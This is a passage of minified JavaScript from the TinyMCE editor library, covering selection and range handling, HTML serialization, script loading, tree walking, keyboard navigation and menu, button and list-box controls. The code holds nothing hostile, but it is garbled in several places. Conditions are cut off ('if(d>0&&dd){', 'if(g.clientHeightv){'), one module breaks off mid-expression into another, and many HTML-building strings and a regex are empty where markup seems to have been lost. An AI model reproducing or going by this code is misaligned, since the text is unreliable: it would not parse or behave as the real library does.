g=this,h,i,k,j=g.win.document;if(l&&g.tridentSel){return g.tridentSel.getRangeAt(0)}try{if(h=g.getSel()){i=h.rangeCount>0?h.getRangeAt(0):(h.createRange?h.createRange():j.createRange())}}catch(f){}if(c.isIE&&i&&i.setStart&&j.selection.createRange().item){k=j.selection.createRange().item(0);i=j.createRange();i.setStartBefore(k);i.setEndAfter(k)}if(!i){i=j.createRange?j.createRange():j.body.createTextRange()}if(g.selectedRange&&g.explicitRange){if(i.compareBoundaryPoints(i.START_TO_START,g.selectedRange)===0&&i.compareBoundaryPoints(i.END_TO_END,g.selectedRange)===0){i=g.explicitRange}else{g.selectedRange=null;g.explicitRange=null}}return i},setRng:function(i){var h,g=this;if(!g.tridentSel){h=g.getSel();if(h){g.explicitRange=i;try{h.removeAllRanges()}catch(f){}h.addRange(i);g.selectedRange=h.rangeCount>0?h.getRangeAt(0):null}}else{if(i.cloneRange){g.tridentSel.addRange(i);return}try{i.select()}catch(f){}}},setNode:function(g){var f=this;f.setContent(f.dom.getOuterHTML(g));return g},getNode:function(){var h=this,g=h.getRng(),i=h.getSel(),l,k=g.startContainer,f=g.endContainer;if(!g){return h.dom.getRoot()}if(g.setStart){l=g.commonAncestorContainer;if(!g.collapsed){if(g.startContainer==g.endContainer){if(g.endOffset-g.startOffset<2){if(g.startContainer.hasChildNodes()){l=g.startContainer.childNodes[g.startOffset]}}}if(k.nodeType===3&&f.nodeType===3){function j(p,m){var o=p;while(p&&p.nodeType===3&&p.length===0){p=m?p.nextSibling:p.previousSibling}return p||o}if(k.length===g.startOffset){k=j(k.nextSibling,true)}else{k=k.parentNode}if(g.endOffset===0){f=j(f.previousSibling,false)}else{f=f.parentNode}if(k&&k===f){return k}}}if(l&&l.nodeType==3){return l.parentNode}return l}return g.item?g.item(0):g.parentElement()},getSelectedBlocks:function(o,g){var m=this,j=m.dom,l,k,h,i=[];l=j.getParent(o||m.getStart(),j.isBlock);k=j.getParent(g||m.getEnd(),j.isBlock);if(l){i.push(l)}if(l&&k&&l!=k){h=l;var f=new c.dom.TreeWalker(l,j.getRoot());while((h=f.next())&&h!=k){if(j.isBlock(h)){i.push(h)}}}if(k&&l!=k){i.push(k)}return i},normalize:function(){var g=this,f,i;if(c.isIE){return}function h(p){var k,o,n,m=g.dom,j=m.getRoot(),l;k=f[(p?"start":"end")+"Container"];o=f[(p?"start":"end")+"Offset"];if(k.nodeType===9){k=k.body;o=0}if(k===j){if(k.hasChildNodes()){k=k.childNodes[Math.min(!p&&o>0?o-1:o,k.childNodes.length-1)];o=0;if(k.hasChildNodes()){l=k;n=new c.dom.TreeWalker(k,j);do{if(l.nodeType===3){o=p?0:l.nodeValue.length-1;k=l;i=true;break}if(/^(BR|IMG)$/.test(l.nodeName)){o=m.nodeIndex(l);k=l.parentNode;if(l.nodeName=="IMG"&&!p){o++}i=true;break}}while(l=(p?n.next():n.prev()))}}}if(i){f["set"+(p?"Start":"End")](k,o)}}f=g.getRng();h(true);if(!f.collapsed){h()}if(i){g.setRng(f)}},destroy:function(g){var f=this;f.win=null;if(!g){c.removeUnload(f.destroy)}},_fixIESelection:function(){var g=this.dom,m=g.doc,h=m.body,j,n,f;m.documentElement.unselectable=true;function i(o,r){var p=h.createTextRange();try{p.moveToPoint(o,r)}catch(q){p=null}return p}function l(p){var o;if(p.button){o=i(p.x,p.y);if(o){if(o.compareEndPoints("StartToStart",n)>0){o.setEndPoint("StartToStart",n)}else{o.setEndPoint("EndToEnd",n)}o.select()}}else{k()}}function k(){var o=m.selection.createRange();if(n&&!o.item&&o.compareEndPoints("StartToEnd",o)===0){n.select()}g.unbind(m,"mouseup",k);g.unbind(m,"mousemove",l);n=j=0}g.bind(m,["mousedown","contextmenu"],function(o){if(o.target.nodeName==="HTML"){if(j){k()}f=m.documentElement;if(f.scrollHeight>f.clientHeight){return}j=1;n=i(o.x,o.y);if(n){g.bind(m,"mouseup",k);g.bind(m,"mousemove",l);g.win.focus();n.select()}}})}})})(tinymce);(function(a){a.dom.Serializer=function(e,i,f){var h,b,d=a.isIE,g=a.each,c;if(!e.apply_source_formatting){e.indent=false}i=i||a.DOM;f=f||new a.html.Schema(e);e.entity_encoding=e.entity_encoding||"named";e.remove_trailing_brs="remove_trailing_brs" in e?e.remove_trailing_brs:true;h=new a.util.Dispatcher(self);b=new a.util.Dispatcher(self);c=new a.html.DomParser(e,f);c.addAttributeFilter("src,href,style",function(k,j){var o=k.length,l,q,n="data-mce-"+j,p=e.url_converter,r=e.url_converter_scope,m;while(o--){l=k[o];q=l.attributes.map[n];if(q!==m){l.attr(j,q.length>0?q:null);l.attr(n,null)}else{q=l.attributes.map[j];if(j==="style"){q=i.serializeStyle(i.parseStyle(q),l.name)}else{if(p){q=p.call(r,q,j,l.name)}}l.attr(j,q.length>0?q:null)}}});c.addAttributeFilter("class",function(j,k){var l=j.length,m,n;while(l--){m=j[l];n=m.attr("class").replace(/\s*mce(Item\w+|Selected)\s*/g,"");m.attr("class",n.length>0?n:null)}});c.addAttributeFilter("data-mce-type",function(j,l,k){var m=j.length,n;while(m--){n=j[m];if(n.attributes.map["data-mce-type"]==="bookmark"&&!k.cleanup){n.remove()}}});c.addNodeFilter("script,style",function(k,l){var m=k.length,n,o;function j(p){return p.replace(/()/g,"\n").replace(/^[\r\n]*|[\r\n]*$/g,"").replace(/^\s*(()?|\s*\/\/\s*\]\]>(-->)?|\/\/\s*(-->)?|\]\]>|\/\*\s*-->\s*\*\/|\s*-->\s*)\s*$/g,"")}while(m--){n=k[m];o=n.firstChild?n.firstChild.value:"";if(l==="script"){n.attr("type",(n.attr("type")||"text/javascript").replace(/^mce\-/,""));if(o.length>0){n.firstChild.value="// "}}else{if(o.length>0){n.firstChild.value=""}}}});c.addNodeFilter("#comment",function(j,k){var l=j.length,m;while(l--){m=j[l];if(m.value.indexOf("[CDATA[")===0){m.name="#cdata";m.type=4;m.value=m.value.replace(/^\[CDATA\[|\]\]$/g,"")}else{if(m.value.indexOf("mce:protected ")===0){m.name="#text";m.type=3;m.raw=true;m.value=unescape(m.value).substr(14)}}}});c.addNodeFilter("xml:namespace,input",function(j,k){var l=j.length,m;while(l--){m=j[l];if(m.type===7){m.remove()}else{if(m.type===1){if(k==="input"&&!("type" in m.attributes.map)){m.attr("type","text")}}}}});if(e.fix_list_elements){c.addNodeFilter("ul,ol",function(k,l){var m=k.length,n,j;while(m--){n=k[m];j=n.parent;if(j.name==="ul"||j.name==="ol"){if(n.prev&&n.prev.name==="li"){n.prev.append(n)}}}})}c.addAttributeFilter("data-mce-src,data-mce-href,data-mce-style",function(j,k){var l=j.length;while(l--){j[l].attr(k,null)}});return{schema:f,addNodeFilter:c.addNodeFilter,addAttributeFilter:c.addAttributeFilter,onPreProcess:h,onPostProcess:b,serialize:function(o,m){var l,p,k,j,n;if(d&&i.select("script,style,select,map").length>0){n=o.innerHTML;o=o.cloneNode(false);i.setHTML(o,n)}else{o=o.cloneNode(true)}l=o.ownerDocument.implementation;if(l.createHTMLDocument){p=l.createHTMLDocument("");g(o.nodeName=="BODY"?o.childNodes:[o],function(q){p.body.appendChild(p.importNode(q,true))});if(o.nodeName!="BODY"){o=p.body.firstChild}else{o=p.body}k=i.doc;i.doc=p}m=m||{};m.format=m.format||"html";if(!m.no_events){m.node=o;h.dispatch(self,m)}j=new a.html.Serializer(e,f);m.content=j.serialize(c.parse(m.getInner?o.innerHTML:a.trim(i.getOuterHTML(o),m),m));if(!m.cleanup){m.content=m.content.replace(/\uFEFF|\u200B/g,"")}if(!m.no_events){b.dispatch(self,m)}if(k){i.doc=k}m.node=null;return m.content},addRules:function(j){f.addValidElements(j)},setRules:function(j){f.setValidElements(j)}}}})(tinymce);(function(a){a.dom.ScriptLoader=function(h){var c=0,k=1,i=2,l={},j=[],f={},d=[],g=0,e;function b(m,v){var x=this,q=a.DOM,s,o,r,n;function p(){q.remove(n);if(s){s.onreadystatechange=s.onload=s=null}v()}function u(){if(typeof(console)!=="undefined"&&console.log){console.log("Failed to load: "+m)}}n=q.uniqueId();if(a.isIE6){o=new a.util.URI(m);r=location;if(o.host==r.hostname&&o.port==r.port&&(o.protocol+":")==r.protocol&&o.protocol.toLowerCase()!="file"){a.util.XHR.send({url:a._addVer(o.getURI()),success:function(y){var t=q.create("script",{type:"text/javascript"});t.text=y;document.getElementsByTagName("head")[0].appendChild(t);q.remove(t);p()},error:u});return}}s=q.create("script",{id:n,type:"text/javascript",src:a._addVer(m)});if(!a.isIE){s.onload=p}s.onerror=u;if(!a.isOpera){s.onreadystatechange=function(){var t=s.readyState;if(t=="complete"||t=="loaded"){p()}}}(document.getElementsByTagName("head")[0]||document.body).appendChild(s)}this.isDone=function(m){return l[m]==i};this.markDone=function(m){l[m]=i};this.add=this.load=function(m,q,n){var o,p=l[m];if(p==e){j.push(m);l[m]=c}if(q){if(!f[m]){f[m]=[]}f[m].push({func:q,scope:n||this})}};this.loadQueue=function(n,m){this.loadScripts(j,n,m)};this.loadScripts=function(m,q,p){var o;function n(r){a.each(f[r],function(s){s.func.call(s.scope)});f[r]=e}d.push({func:q,scope:p||this});o=function(){var r=a.grep(m);m.length=0;a.each(r,function(s){if(l[s]==i){n(s);return}if(l[s]!=k){l[s]=k;g++;b(s,function(){l[s]=i;g--;n(s);o()})}});if(!g){a.each(d,function(s){s.func.call(s.scope)});d.length=0}};o()}};a.ScriptLoader=new a.dom.ScriptLoader()})(tinymce);tinymce.dom.TreeWalker=function(a,c){var b=a;function d(i,f,e,j){var h,g;if(i){if(!j&&i[f]){return i[f]}if(i!=c){h=i[e];if(h){return h}for(g=i.parentNode;g&&g!=c;g=g.parentNode){h=g[e];if(h){return h}}}}}this.current=function(){return b};this.next=function(e){return(b=d(b,"firstChild","nextSibling",e))};this.prev=function(e){return(b=d(b,"lastChild","previousSibling",e))}};(function(a){a.dom.RangeUtils=function(c){var b="\uFEFF";this.walk=function(d,s){var i=d.startContainer,l=d.startOffset,t=d.endContainer,m=d.endOffset,j,g,o,h,r,q,e;e=c.select("td.mceSelected,th.mceSelected");if(e.length>0){a.each(e,function(u){s([u])});return}function f(u){var v;v=u[0];if(v.nodeType===3&&v===i&&l>=v.nodeValue.length){u.splice(0,1)}v=u[u.length-1];if(m===0&&u.length>0&&v===t&&v.nodeType===3){u.splice(u.length-1,1)}return u}function p(x,v,u){var y=[];for(;x&&x!=u;x=x[v]){y.push(x)}return y}function n(v,u){do{if(v.parentNode==u){return v}v=v.parentNode}while(v)}function k(x,v,y){var u=y?"nextSibling":"previousSibling";for(h=x,r=h.parentNode;h&&h!=v;h=r){r=h.parentNode;q=p(h==x?h:h[u],u);if(q.length){if(!y){q.reverse()}s(f(q))}}}if(i.nodeType==1&&i.hasChildNodes()){i=i.childNodes[l]}if(t.nodeType==1&&t.hasChildNodes()){t=t.childNodes[Math.min(m-1,t.childNodes.length-1)]}if(i==t){return s(f([i]))}j=c.findCommonAncestor(i,t);for(h=i;h;h=h.parentNode){if(h===t){return k(i,j,true)}if(h===j){break}}for(h=t;h;h=h.parentNode){if(h===i){return k(t,j)}if(h===j){break}}g=n(i,j)||i;o=n(t,j)||t;k(i,g,true);q=p(g==i?g:g.nextSibling,"nextSibling",o==t?o.nextSibling:o);if(q.length){s(f(q))}k(t,o)};this.split=function(e){var h=e.startContainer,d=e.startOffset,i=e.endContainer,g=e.endOffset;function f(j,k){return j.splitText(k)}if(h==i&&h.nodeType==3){if(d>0&&dd){g=g-d;h=i=f(i,g).previousSibling;g=i.nodeValue.length;d=0}else{g=0}}}else{if(h.nodeType==3&&d>0&&d0&&g=l.length){q=0}}s=l[q];f.setAttrib(g,"tabindex","-1");f.setAttrib(s.id,"tabindex","0");f.get(s.id).focus();if(e.actOnFocus){e.onAction(s.id)}if(r){a.cancel(r)}};o=function(y){var u=37,t=39,x=38,z=40,q=27,s=14,r=13,v=32;switch(y.keyCode){case u:if(i){p.moveFocus(-1)}break;case t:if(i){p.moveFocus(1)}break;case x:if(n){p.moveFocus(-1)}break;case z:if(n){p.moveFocus(1)}break;case q:if(e.onCancel){e.onCancel();a.cancel(y)}break;case s:case r:case v:if(e.onAction){e.onAction(g);a.cancel(y)}break}};c(l,function(s,q){var r;if(!s.id){s.id=f.uniqueId("_mce_item_")}if(k){f.bind(s.id,"blur",h);r="-1"}else{r=(q===0?"0":"-1")}f.setAttrib(s.id,"tabindex",r);f.bind(f.get(s.id),"focus",j)});if(l[0]){g=l[0].id}f.setAttrib(m,"tabindex","-1");f.bind(f.get(m),"focus",d);f.bind(f.get(m),"keydown",o)}})})(tinymce);(function(c){var b=c.DOM,a=c.is;c.create("tinymce.ui.Control",{Control:function(f,e,d){this.id=f;this.settings=e=e||{};this.rendered=false;this.onRender=new c.util.Dispatcher(this);this.classPrefix="";this.scope=e.scope||this;this.disabled=0;this.active=0;this.editor=d},setAriaProperty:function(f,e){var d=b.get(this.id+"_aria")||b.get(this.id);if(d){b.setAttrib(d,"aria-"+f,!!e)}},focus:function(){b.get(this.id).focus()},setDisabled:function(d){if(d!=this.disabled){this.setAriaProperty("disabled",d);this.setState("Disabled",d);this.setState("Enabled",!d);this.disabled=d}},isDisabled:function(){return this.disabled},setActive:function(d){if(d!=this.active){this.setState("Active",d);this.active=d;this.setAriaProperty("pressed",d)}},isActive:function(){return this.active},setState:function(f,d){var e=b.get(this.id);f=this.classPrefix+f;if(d){b.addClass(e,f)}else{b.removeClass(e,f)}},isRendered:function(){return this.rendered},renderHTML:function(){},renderTo:function(d){b.setHTML(d,this.renderHTML())},postRender:function(){var e=this,d;if(a(e.disabled)){d=e.disabled;e.disabled=-1;e.setDisabled(d)}if(a(e.active)){d=e.active;e.active=-1;e.setActive(d)}},remove:function(){b.remove(this.id);this.destroy()},destroy:function(){c.dom.Event.clear(this.id)}})})(tinymce);tinymce.create("tinymce.ui.Container:tinymce.ui.Control",{Container:function(c,b,a){this.parent(c,b,a);this.controls=[];this.lookup={}},add:function(a){this.lookup[a.id]=a;this.controls.push(a);return a},get:function(a){return this.lookup[a]}});tinymce.create("tinymce.ui.Separator:tinymce.ui.Control",{Separator:function(b,a){this.parent(b,a);this.classPrefix="mceSeparator";this.setDisabled(true)},renderHTML:function(){return tinymce.DOM.createHTML("span",{"class":this.classPrefix,role:"separator","aria-orientation":"vertical",tabindex:"-1"})}});(function(d){var c=d.is,b=d.DOM,e=d.each,a=d.walk;d.create("tinymce.ui.MenuItem:tinymce.ui.Control",{MenuItem:function(g,f){this.parent(g,f);this.classPrefix="mceMenuItem"},setSelected:function(f){this.setState("Selected",f);this.setAriaProperty("checked",!!f);this.selected=f},isSelected:function(){return this.selected},postRender:function(){var f=this;f.parent();if(c(f.selected)){f.setSelected(f.selected)}}})})(tinymce);(function(d){var c=d.is,b=d.DOM,e=d.each,a=d.walk;d.create("tinymce.ui.Menu:tinymce.ui.MenuItem",{Menu:function(h,g){var f=this;f.parent(h,g);f.items={};f.collapsed=false;f.menuCount=0;f.onAddItem=new d.util.Dispatcher(this)},expand:function(g){var f=this;if(g){a(f,function(h){if(h.expand){h.expand()}},"items",f)}f.collapsed=false},collapse:function(g){var f=this;if(g){a(f,function(h){if(h.collapse){h.collapse()}},"items",f)}f.collapsed=true},isCollapsed:function(){return this.collapsed},add:function(f){if(!f.settings){f=new d.ui.MenuItem(f.id||b.uniqueId(),f)}this.onAddItem.dispatch(this,f);return this.items[f.id]=f},addSeparator:function(){return this.add({separator:true})},addMenu:function(f){if(!f.collapse){f=this.createMenu(f)}this.menuCount++;return this.add(f)},hasMenus:function(){return this.menuCount!==0},remove:function(f){delete this.items[f.id]},removeAll:function(){var f=this;a(f,function(g){if(g.removeAll){g.removeAll()}else{g.remove()}g.destroy()},"items",f);f.items={}},createMenu:function(g){var f=new d.ui.Menu(g.id||b.uniqueId(),g);f.onAddItem.add(this.onAddItem.dispatch,this.onAddItem);return f}})})(tinymce);(function(e){var d=e.is,c=e.DOM,f=e.each,a=e.dom.Event,b=e.dom.Element;e.create("tinymce.ui.DropMenu:tinymce.ui.Menu",{DropMenu:function(h,g){g=g||{};g.container=g.container||c.doc.body;g.offset_x=g.offset_x||0;g.offset_y=g.offset_y||0;g.vp_offset_x=g.vp_offset_x||0;g.vp_offset_y=g.vp_offset_y||0;if(d(g.icons)&&!g.icons){g["class"]+=" mceNoIcons"}this.parent(h,g);this.onShowMenu=new e.util.Dispatcher(this);this.onHideMenu=new e.util.Dispatcher(this);this.classPrefix="mceMenu"},createMenu:function(j){var h=this,i=h.settings,g;j.container=j.container||i.container;j.parent=h;j.constrain=j.constrain||i.constrain;j["class"]=j["class"]||i["class"];j.vp_offset_x=j.vp_offset_x||i.vp_offset_x;j.vp_offset_y=j.vp_offset_y||i.vp_offset_y;j.keyboard_focus=i.keyboard_focus;g=new e.ui.DropMenu(j.id||c.uniqueId(),j);g.onAddItem.add(h.onAddItem.dispatch,h.onAddItem);return g},focus:function(){var g=this;if(g.keyboardNav){g.keyboardNav.focus()}},update:function(){var i=this,j=i.settings,g=c.get("menu_"+i.id+"_tbl"),l=c.get("menu_"+i.id+"_co"),h,k;h=j.max_width?Math.min(g.clientWidth,j.max_width):g.clientWidth;k=j.max_height?Math.min(g.clientHeight,j.max_height):g.clientHeight;if(!c.boxModel){i.element.setStyles({width:h+2,height:k+2})}else{i.element.setStyles({width:h,height:k})}if(j.max_width){c.setStyle(l,"width",h)}if(j.max_height){c.setStyle(l,"height",k);if(g.clientHeightv){p=r?r-u:Math.max(0,(v-A.vp_offset_x)-u)}if((n+A.vp_offset_y+l)>q){n=Math.max(0,(q-A.vp_offset_y)-l)}}c.setStyles(o,{left:p,top:n});z.element.update();z.isMenuVisible=1;z.mouseClickFunc=a.add(o,"click",function(s){var h;s=s.target;if(s&&(s=c.getParent(s,"tr"))&&!c.hasClass(s,m+"ItemSub")){h=z.items[s.id];if(h.isDisabled()){return}k=z;while(k){if(k.hideMenu){k.hideMenu()}k=k.settings.parent}if(h.settings.onclick){h.settings.onclick(s)}return a.cancel(s)}});if(z.hasMenus()){z.mouseOverFunc=a.add(o,"mouseover",function(x){var h,t,s;x=x.target;if(x&&(x=c.getParent(x,"tr"))){h=z.items[x.id];if(z.lastMenu){z.lastMenu.collapse(1)}if(h.isDisabled()){return}if(x&&c.hasClass(x,m+"ItemSub")){t=c.getRect(x);h.showMenu((t.x+t.w-i),t.y-i,t.x);z.lastMenu=h;c.addClass(c.get(h.id).firstChild,m+"ItemActive")}}})}a.add(o,"keydown",z._keyHandler,z);z.onShowMenu.dispatch(z);if(A.keyboard_focus){z._setupKeyboardNav()}},hideMenu:function(j){var g=this,i=c.get("menu_"+g.id),h;if(!g.isMenuVisible){return}if(g.keyboardNav){g.keyboardNav.destroy()}a.remove(i,"mouseover",g.mouseOverFunc);a.remove(i,"click",g.mouseClickFunc);a.remove(i,"keydown",g._keyHandler);c.hide(i);g.isMenuVisible=0;if(!j){g.collapse(1)}if(g.element){g.element.hide()}if(h=c.get(g.id)){c.removeClass(h.firstChild,g.classPrefix+"ItemActive")}g.onHideMenu.dispatch(g)},add:function(i){var g=this,h;i=g.parent(i);if(g.isRendered&&(h=c.get("menu_"+g.id))){g._add(c.select("tbody",h)[0],i)}return i},collapse:function(g){this.parent(g);this.hideMenu(1)},remove:function(g){c.remove(g.id);this.destroy();return this.parent(g)},destroy:function(){var g=this,h=c.get("menu_"+g.id);if(g.keyboardNav){g.keyboardNav.destroy()}a.remove(h,"mouseover",g.mouseOverFunc);a.remove(c.select("a",h),"focus",g.mouseOverFunc);a.remove(h,"click",g.mouseClickFunc);a.remove(h,"keydown",g._keyHandler);if(g.element){g.element.remove()}c.remove(h)},renderNode:function(){var i=this,j=i.settings,l,h,k,g;g=c.create("div",{role:"listbox",id:"menu_"+i.id,"class":j["class"],style:"position:absolute;left:0;top:0;z-index:200000;outline:0"});if(i.settings.parent){c.setAttrib(g,"aria-parent","menu_"+i.settings.parent.id)}k=c.add(g,"div",{role:"presentation",id:"menu_"+i.id+"_co","class":i.classPrefix+(j["class"]?" "+j["class"]:"")});i.element=new b("menu_"+i.id,{blocker:1,container:j.container});if(j.menu_line){c.add(k,"span",{"class":i.classPrefix+"Line"})}l=c.add(k,"table",{role:"presentation",id:"menu_"+i.id+"_tbl",border:0,cellPadding:0,cellSpacing:0});h=c.add(l,"tbody");f(i.items,function(m){i._add(h,m)});i.rendered=true;return g},_setupKeyboardNav:function(){var i,h,g=this;i=c.get("menu_"+g.id);h=c.select("a[role=option]","menu_"+g.id);h.splice(0,0,i);g.keyboardNav=new e.ui.KeyboardNavigation({root:"menu_"+g.id,items:h,onCancel:function(){g.hideMenu()},enableUpDown:true});i.focus()},_keyHandler:function(g){var h=this,i;switch(g.keyCode){case 37:if(h.settings.parent){h.hideMenu();h.settings.parent.focus();a.cancel(g)}break;case 39:if(h.mouseOverFunc){h.mouseOverFunc(g)}break}},_add:function(j,h){var i,q=h.settings,p,l,k,m=this.classPrefix,g;if(q.separator){l=c.add(j,"tr",{id:h.id,"class":m+"ItemSeparator"});c.add(l,"td",{"class":m+"ItemSeparator"});if(i=l.previousSibling){c.addClass(i,"mceLast")}return}i=l=c.add(j,"tr",{id:h.id,"class":m+"Item "+m+"ItemEnabled"});i=k=c.add(i,q.titleItem?"th":"td");i=p=c.add(i,"a",{id:h.id+"_aria",role:q.titleItem?"presentation":"option",href:"javascript:;",onclick:"return false;",onmousedown:"return false;"});if(q.parent){c.setAttrib(p,"aria-haspopup","true");c.setAttrib(p,"aria-owns","menu_"+h.id)}c.addClass(k,q["class"]);g=c.add(i,"span",{"class":"mceIcon"+(q.icon?" mce_"+q.icon:"")});if(q.icon_src){c.add(g,"img",{src:q.icon_src})}i=c.add(i,q.element||"span",{"class":"mceText",title:h.settings.title},h.settings.title);if(h.settings.style){c.setAttrib(i,"style",h.settings.style)}if(j.childNodes.length==1){c.addClass(l,"mceFirst")}if((i=l.previousSibling)&&c.hasClass(i,m+"ItemSeparator")){c.addClass(l,"mceFirst")}if(h.collapse){c.addClass(l,m+"ItemSub")}if(i=l.previousSibling){c.removeClass(i,"mceLast")}c.addClass(l,"mceLast")}})})(tinymce);(function(b){var a=b.DOM;b.create("tinymce.ui.Button:tinymce.ui.Control",{Button:function(e,d,c){this.parent(e,d,c);this.classPrefix="mceButton"},renderHTML:function(){var f=this.classPrefix,e=this.settings,d,c;c=a.encode(e.label||"");d='';if(e.image&&!(this.editor&&this.editor.forcedHighContrastMode)){d+=''+a.encode(e.title)+''+c}else{d+=''+(c?''+c+"":"")}d+='";d+="";return d},postRender:function(){var d=this,e=d.settings,c;if(b.isIE&&d.editor){b.dom.Event.add(d.id,"mousedown",function(f){var g=d.editor.selection.getNode().nodeName;c=g==="IMG"?d.editor.selection.getBookmark():null})}b.dom.Event.add(d.id,"click",function(f){if(!d.isDisabled()){if(b.isIE&&d.editor&&c!==null){d.editor.selection.moveToBookmark(c)}return e.onclick.call(e.scope,f)}});b.dom.Event.add(d.id,"keyup",function(f){if(!d.isDisabled()&&f.keyCode==b.VK.SPACEBAR){return e.onclick.call(e.scope,f)}})}})})(tinymce);(function(d){var c=d.DOM,b=d.dom.Event,e=d.each,a=d.util.Dispatcher;d.create("tinymce.ui.ListBox:tinymce.ui.Control",{ListBox:function(i,h,f){var g=this;g.parent(i,h,f);g.items=[];g.onChange=new a(g);g.onPostRender=new a(g);g.onAdd=new a(g);g.onRenderMenu=new d.util.Dispatcher(this);g.classPrefix="mceListBox"},select:function(h){var g=this,j,i;if(h==undefined){return g.selectByIndex(-1)}if(h&&typeof(h)=="function"){i=h}else{i=function(f){return f==h}}if(h!=g.selectedValue){e(g.items,function(k,f){if(i(k.value)){j=1;g.selectByIndex(f);return false}});if(!j){g.selectByIndex(-1)}}},selectByIndex:function(f){var h=this,i,j,g;if(f!=h.selectedIndex){i=c.get(h.id+"_text");g=c.get(h.id+"_voiceDesc");j=h.items[f];if(j){h.selectedValue=j.value;h.selectedIndex=f;c.setHTML(i,c.encode(j.title));c.setHTML(g,h.settings.title+" - "+j.title);c.removeClass(i,"mceTitle");c.setAttrib(h.id,"aria-valuenow",j.title)}else{c.setHTML(i,c.encode(h.settings.title));c.setHTML(g,c.encode(h.settings.title));c.addClass(i,"mceTitle");h.selectedValue=h.selectedIndex=null;c.setAttrib(h.id,"aria-valuenow",h.settings.title)}i=0}},add:function(i,f,h){var g=this;h=h||{};h=d.extend(h,{title:i,value:f});g.items.push(h);g.onAdd.dispatch(g,h)},getLength:function(){return this.items.length},renderHTML:function(){var i="",f=this,g=f.settings,j=f.classPrefix;i='';i+="";i+="";i+="";return i},showMenu:function(){var g=this,i,h=c.get(this.id),f;if(g.isDisabled()||g.items.length==0){return}if(g.menu&&g.menu.isMenuVisible){return g.hideMenu()}if(!g.isMenuRendered){g.renderMenu();g.isMenuRendered=true}i=c.getPos(h);f=g.menu;f.settings.offset_x=i.x;f.settings.offset_y=i.y;f.settings.keyboard_focus=!d.isOpera;if(g.oldID){f.items[g.oldID].setSelected(0)}e(g.items,function(j){if(j.value===g.selectedValue){f.items[j.id].setSelected(1);g.oldID=j.id}});f.showMenu(0,h.clientHeight);b.add(c.doc,"mousedown",g.hideMenu,g);c.addClass(g.id,g.classPrefix+"Selected")},hideMenu:function(g){var f=this;if(f.menu&&f.menu.isMenuVisible){c.removeClass(f.id,f.classPrefix+"Selected");if(g&&g.type=="mousedown"&&(g.target.id==f.id+"_text"||g.target.id==f.id+"_open")){return}if(!g||!c.getParent(g.target,".mceMenu")){c.removeClass(f.id,f.classPrefix+"Selected");b.remove(c.doc,"mousedown",f.hideMenu,f);f.menu.hideMenu()}}},renderMenu:function(){var g=this,f;f=g.settings.control_manager.createDropMenu(g.id+"_menu",{menu_line:1,"class":g.classPrefix+"Menu mceNoIcons",max_width:150,max_height:150});f.onHideMenu.add(function(){g.hideMenu();g.focus()});f.add({title:g.settings.title,"class":"mceMenuItemTitle",onclick:function(){if(g.settings.onselect("")!==false){g.select("")}}});e(g.items,function(h){if(h.value===undefined){f.add({title:h.title,role:"option","class":"mceMenuItemTitle",onclick:function(){if(g.settings.onselect("")!==false){g.select("")}}})}else{h.id=c.uniqueId();h.role="option";h.onclick=function(){if(g.settings.onselect(h.value)!==false){g.select(h.value)}};f.add(h)}});g.onRenderMenu.dispatch(g,f);g.menu=f},postRender:function(){var f=this,g=f.classPrefix;b.add(f.id,"click",f.showMenu,f);b.add(f.id,"keydown",function(h){if(h.keyCode==32){f.showMenu(h);b.cancel(h)}});b.add(f.id,"focus",function(){if(!f._focused){f.keyDownHandler=b.add(f.id,"keydown",function(h){if(h.keyCode==40){f.showMenu();b.cancel(h)}});f.keyPressHandler=b.add(f.id,"keypress",function(i){var h;if(i.keyCode==13){h=f.selectedValue;f.selectedValue=null;b.cancel(i);f.settings.onselect(h)}})}f._focused=1});b.add(f.id,"blur",function(){b.remove(f.id,"keydown",f.keyDownHandler);b.remove(f.id,"keypress",f.keyPressHandler);f._focused=0});if(d.isIE6||!c.boxModel){b.add(f.id,"mouseover",function(){if(!c.hasClass(f.id,g+"Disabled")){c.addClass(f.id,g+"Hover")}});b.add(f.id,"mouseout",function(){if(!c.hasClass(f.id,g+"Disabled")){c.removeClass(f.id,g+"Hover")}})}f.onPostRender.dispatch(f,c.get(f.id))},destroy:function(){this.parent();b.clear(this.id+"_text");b.clear(this.id+"_open")}})})(tinymce);(function(d){var c=d.DOM,b=d.dom.Event,e=d.each,a=d.util.Dispatcher;d.create("tinymce.ui.NativeListBox:tinymce.ui.ListBox",{NativeListBox:function(g,f){this.parent(g,f);this.classPrefix="mceNativeListBox"},setDisabled:function(f){c.get(this.id).disabled=f;this.setAriaProperty("disabled",f)},isDisabled:function(){return c.get(this.id).disabled},select:function(h){var g=this,j,i;if(h==undefined){return g.selectByIndex(-1)}if(h&&typeof(h)=="function"){i=h}else{i=function(f){return f==h}}if(h!=g.selectedValue){e(g.items,function(k,f){if(i(k.value)){j=1;g.selectByIndex(f);return false}});if(!j){g.selectByIndex(-1)}}},selectByIndex:function(f){c.get(this.id).selectedIndex=f+1;this.selectedValue=this.items[f]?this.items[f].value:null},add:function(j,g,f){var i,h=this;f=f||{};f.value=g;if(h.isRendered()){c.add(c.get(this.id),"option",f,j)}i={title:j,value:g,attribs:f};h.items.push(i);h.onAdd.dispatch(h,i)},getLength:function(){return this.items.length},renderHTML:function(){var g,f=this;g=c.createHTML("option",{value:""},"-- "+f.settings.title+" --");e(f.items,function(h){g+=c.createHTML("option",{value:h.value},h.title)});g=c.createHTML("select",{id:f.id,"class":"mceNativeListBox","aria-labelledby":f.id+"_aria"},g);g+=c.createHTML("span",{id:f.id+"_aria",style:"display: none"},f.settings.title);return g},postRender:function(){var g=this,h,i=true;g.rendered=true;function f(k){var j=g.items[k.target.selectedIndex-1];if(j&&(j=j.value)){g.onChange.dispatch(g,j);if(g.settings.onselect){g.settings.onselect(j)}}}b.add(g.id,"change",f);b.add(g.id,"keydown",function(k){var j;b.remove(g.id,"change",h);i=false;j=b.add(g.id,"blur",function(){if(i){return}i=true;b.add(g.id,"change",f);b.remove(g.id,"blur",j)});if(d.isWebKit&&(k.keyCode==37||k.keyCode==39)){return b.prevent(k)}if(k.keyCode==13||k.keyCode==32){f(k);return b.cancel(k)}});g.onPostRender.dispatch(g,c.get(g.id))}})})(tinymce);(function(c){var b=c.DOM,a=c.dom.Event,d=c.each;c.create("tinymce.ui.MenuButton:tinymce.ui.Button",{MenuButton:function(g,f,e){this.parent(g,f,e);this.onRenderMenu=new c.util.Dispatcher(this);f.menu_container=f.menu_container||b.doc.body},showMenu:function(){var 